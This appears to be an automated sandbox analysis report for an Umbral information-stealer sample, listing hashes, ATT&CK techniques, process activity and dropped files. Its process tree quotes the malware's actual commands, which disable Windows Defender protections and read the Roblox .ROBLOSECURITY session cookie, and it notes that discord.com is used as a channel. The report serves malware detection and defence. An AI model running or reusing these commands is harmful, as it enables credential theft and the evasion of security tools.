umbral | b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8d

Analysis

max time kernel
96s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-01-2025 06:50

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General

Target

b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe
Size

229KB
MD5

ba8d399c9ae62d44f0bebcf5cfde9960
SHA1

c9e8160c6854459b52f851d516fd0c305b292642
SHA256

b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8d
SHA512

a66f6ba994ad91f645ea68a0e06691bf8d12cfe543f52f763326d2d03b3a3efeee163390503ed44dd65f929a03cbb9cbd2ca52afd5db83f75b1be5dc10fc573a
SSDEEP

6144:lloZMHrIkd8g+EtXHkv/iD4Whm7EsyVtGETOMdRYy6b8e1mreMi:noZIL+EP8WhOEsyVtGETOMdRYpd

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2372-1-0x00000190CB780000-0x00000190CB7C0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4748	powershell.exe
4940	powershell.exe
3292	powershell.exe
4592	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1568	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4748	powershell.exe
4748	powershell.exe
4940	powershell.exe
4940	powershell.exe
3292	powershell.exe
3292	powershell.exe
788	powershell.exe
788	powershell.exe
4592	powershell.exe
4592	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeDebugPrivilege	3292	powershell.exe
Token: SeDebugPrivilege	788	powershell.exe
Token: SeIncreaseQuotaPrivilege	3724	wmic.exe
Token: SeSecurityPrivilege	3724	wmic.exe
Token: SeTakeOwnershipPrivilege	3724	wmic.exe
Token: SeLoadDriverPrivilege	3724	wmic.exe
Token: SeSystemProfilePrivilege	3724	wmic.exe
Token: SeSystemtimePrivilege	3724	wmic.exe
Token: SeProfSingleProcessPrivilege	3724	wmic.exe
Token: SeIncBasePriorityPrivilege	3724	wmic.exe
Token: SeCreatePagefilePrivilege	3724	wmic.exe
Token: SeBackupPrivilege	3724	wmic.exe
Token: SeRestorePrivilege	3724	wmic.exe
Token: SeShutdownPrivilege	3724	wmic.exe
Token: SeDebugPrivilege	3724	wmic.exe
Token: SeSystemEnvironmentPrivilege	3724	wmic.exe
Token: SeRemoteShutdownPrivilege	3724	wmic.exe
Token: SeUndockPrivilege	3724	wmic.exe
Token: SeManageVolumePrivilege	3724	wmic.exe
Token: 33	3724	wmic.exe
Token: 34	3724	wmic.exe
Token: 35	3724	wmic.exe
Token: 36	3724	wmic.exe
Token: SeIncreaseQuotaPrivilege	3724	wmic.exe
Token: SeSecurityPrivilege	3724	wmic.exe
Token: SeTakeOwnershipPrivilege	3724	wmic.exe
Token: SeLoadDriverPrivilege	3724	wmic.exe
Token: SeSystemProfilePrivilege	3724	wmic.exe
Token: SeSystemtimePrivilege	3724	wmic.exe
Token: SeProfSingleProcessPrivilege	3724	wmic.exe
Token: SeIncBasePriorityPrivilege	3724	wmic.exe
Token: SeCreatePagefilePrivilege	3724	wmic.exe
Token: SeBackupPrivilege	3724	wmic.exe
Token: SeRestorePrivilege	3724	wmic.exe
Token: SeShutdownPrivilege	3724	wmic.exe
Token: SeDebugPrivilege	3724	wmic.exe
Token: SeSystemEnvironmentPrivilege	3724	wmic.exe
Token: SeRemoteShutdownPrivilege	3724	wmic.exe
Token: SeUndockPrivilege	3724	wmic.exe
Token: SeManageVolumePrivilege	3724	wmic.exe
Token: 33	3724	wmic.exe
Token: 34	3724	wmic.exe
Token: 35	3724	wmic.exe
Token: 36	3724	wmic.exe
Token: SeIncreaseQuotaPrivilege	4108	wmic.exe
Token: SeSecurityPrivilege	4108	wmic.exe
Token: SeTakeOwnershipPrivilege	4108	wmic.exe
Token: SeLoadDriverPrivilege	4108	wmic.exe
Token: SeSystemProfilePrivilege	4108	wmic.exe
Token: SeSystemtimePrivilege	4108	wmic.exe
Token: SeProfSingleProcessPrivilege	4108	wmic.exe
Token: SeIncBasePriorityPrivilege	4108	wmic.exe
Token: SeCreatePagefilePrivilege	4108	wmic.exe
Token: SeBackupPrivilege	4108	wmic.exe
Token: SeRestorePrivilege	4108	wmic.exe
Token: SeShutdownPrivilege	4108	wmic.exe
Token: SeDebugPrivilege	4108	wmic.exe
Token: SeSystemEnvironmentPrivilege	4108	wmic.exe
Token: SeRemoteShutdownPrivilege	4108	wmic.exe
Token: SeUndockPrivilege	4108	wmic.exe
Token: SeManageVolumePrivilege	4108	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 4748	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	85
PID 2372 wrote to memory of 4748	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	85
PID 2372 wrote to memory of 4940	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	87
PID 2372 wrote to memory of 4940	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	87
PID 2372 wrote to memory of 3292	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	89
PID 2372 wrote to memory of 3292	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	89
PID 2372 wrote to memory of 788	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	91
PID 2372 wrote to memory of 788	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	91
PID 2372 wrote to memory of 3724	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	93
PID 2372 wrote to memory of 3724	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	93
PID 2372 wrote to memory of 4108	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	96
PID 2372 wrote to memory of 4108	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	96
PID 2372 wrote to memory of 4028	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	99
PID 2372 wrote to memory of 4028	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	99
PID 2372 wrote to memory of 4592	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	101
PID 2372 wrote to memory of 4592	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	101
PID 2372 wrote to memory of 1568	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	103
PID 2372 wrote to memory of 1568	2372	b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe	103

C:\Users\Admin\AppData\Local\Temp\b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe
"C:\Users\Admin\AppData\Local\Temp\b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\b9045f409b3fe27fca2b639fd2620043c2d999e04e45f642841b739bb860af8dN.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:788
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3724
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4108
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4592
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
f4bf3ca8753d6bb9725419fec1ec74b9

SHA1
71fce9d17d1d92873236a9a827c52eb9e4827f3d

SHA256
ca8697e4ada4c3d4aac2899b8aad4052ccd605fccee05ee0a831368bde2f7417

SHA512
a55a107ae8bcf833ea674413c765cd55096146c9634dff41884fcc851c12fe47753308099525c99ae44883facfb668c8b292dd915263f34ebd1190391cb28a54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
567d7fef99fd45b4def9fa7b093384e2

SHA1
e6a0a4657276cca5142193ad980e34d1ed382f41

SHA256
7ec7b5f3f860f6b4a326dcc883a2bd3f57bac0a5774418b48e3ef54c2cd2893c

SHA512
f45b7876ae0e3eac9dee187f2b901da361caf20e2aebc545408a95f6926a2b3a13233392d085487a76e6972784877637576bf8f9b644c0d59cea02f9177aa711

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itb2f4tu.rbn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2372-72-0x00000190E5CA0000-0x00000190E5CB2000-memory.dmp

Filesize
72KB

Download
memory/2372-34-0x00000190CD510000-0x00000190CD52E000-memory.dmp

Filesize
120KB

Download
memory/2372-93-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

Filesize
10.8MB

Download
memory/2372-88-0x00007FFB67ED3000-0x00007FFB67ED5000-memory.dmp

Filesize
8KB

Download
memory/2372-2-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

Filesize
10.8MB

Download
memory/2372-32-0x00000190E5F60000-0x00000190E5FD6000-memory.dmp

Filesize
472KB

Download
memory/2372-33-0x00000190E5C30000-0x00000190E5C80000-memory.dmp

Filesize
320KB

Download
memory/2372-71-0x00000190CD550000-0x00000190CD55A000-memory.dmp

Filesize
40KB

Download
memory/2372-1-0x00000190CB780000-0x00000190CB7C0000-memory.dmp

Filesize
256KB

Download
memory/2372-0-0x00007FFB67ED3000-0x00007FFB67ED5000-memory.dmp

Filesize
8KB

Download
memory/4748-13-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

Filesize
10.8MB

Download
memory/4748-15-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

Filesize
10.8MB

Download
memory/4748-14-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

Filesize
10.8MB

Download
memory/4748-3-0x0000025EC9D40000-0x0000025EC9D62000-memory.dmp

Filesize
136KB

Download
memory/4748-18-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

Filesize
10.8MB

Download